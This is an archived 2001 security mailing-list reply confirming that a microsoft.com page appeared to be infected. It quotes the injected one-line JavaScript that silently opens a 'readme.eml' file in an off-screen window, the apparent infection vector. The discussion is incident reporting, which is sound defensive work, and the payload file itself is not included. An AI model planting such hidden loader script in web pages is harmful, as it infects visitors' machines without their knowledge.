Security Incidents mailing list archives

Re: Please tell me I'm wrong: microsoft.com infected

From: Jon Zobrist <kgb () ussr com>
Date: Wed, 19 Sep 2001 16:17:25 -0600

Verified...

source on page includes .eml on the bottom...
<html><script language="JavaScript">window.open("readme.eml", null, 
"resizable=no,top=6000,left=6000")</script></html>

Although the page the pop up on mine said, 404:page not found...So they must 
have removed the readme.eml

-Jon

RedHat 7.1
Mozilla 0.9.3


On Wednesday 19 September 2001 01:37 pm, Steve Cody wrote:

I just went to http://www.microsoft.com/frontpage, and my Symantec
Norton Antivirus popped up and denied access to readme.eml.

I could not view the source of the loaded page, so I can't verify that
it is definitely infected.

Steve


---------------------------------------------------------------------------
- This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management
and tracking system please see: http://aris.securityfocus.com


----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see: http://aris.securityfocus.com

Current thread:

Please tell me I'm wrong: microsoft.com infected Steve Cody (Sep 19)
- Re: Please tell me I'm wrong: microsoft.com infected Rodrigo Goya (Sep 19)
  - Re: Please tell me I'm wrong: microsoft.com infected Nick FitzGerald (Sep 19)
    - Re: Please tell me I'm wrong: microsoft.com infected Johannes Verelst (Sep 19)
- Re: Please tell me I'm wrong: microsoft.com infected Benjamin Franz (Sep 19)
- RE: Please tell me I'm wrong: microsoft.com infected Brian Morin (Sep 19)
- Re: Please tell me I'm wrong: microsoft.com infected Michael H. Warfield (Sep 19)
- Re: Please tell me I'm wrong: microsoft.com infected Jay D. Dyson (Sep 19)
- Re: Please tell me I'm wrong: microsoft.com infected Jon Zobrist (Sep 19)
- <Possible follow-ups>
- RE: Please tell me I'm wrong: microsoft.com infected jmiller (Sep 19)
  - Re: Please tell me I'm wrong: microsoft.com infected Rodrigo Goya (Sep 19)
- RE: Please tell me I'm wrong: microsoft.com infected Ken Pfeil (Sep 19)
- RE: Please tell me I'm wrong: microsoft.com infected jmiller (Sep 19)
- RE: Please tell me I'm wrong: microsoft.com infected Craig Humphrey (Sep 19)
- RE: Please tell me I'm wrong: microsoft.com infected Boyan Krosnov (Sep 19)
- RE: Please tell me I'm wrong: microsoft.com infected Dave Hart (Sep 19)
- RE: Please tell me I'm wrong: microsoft.com infected David LeBlanc (Sep 19)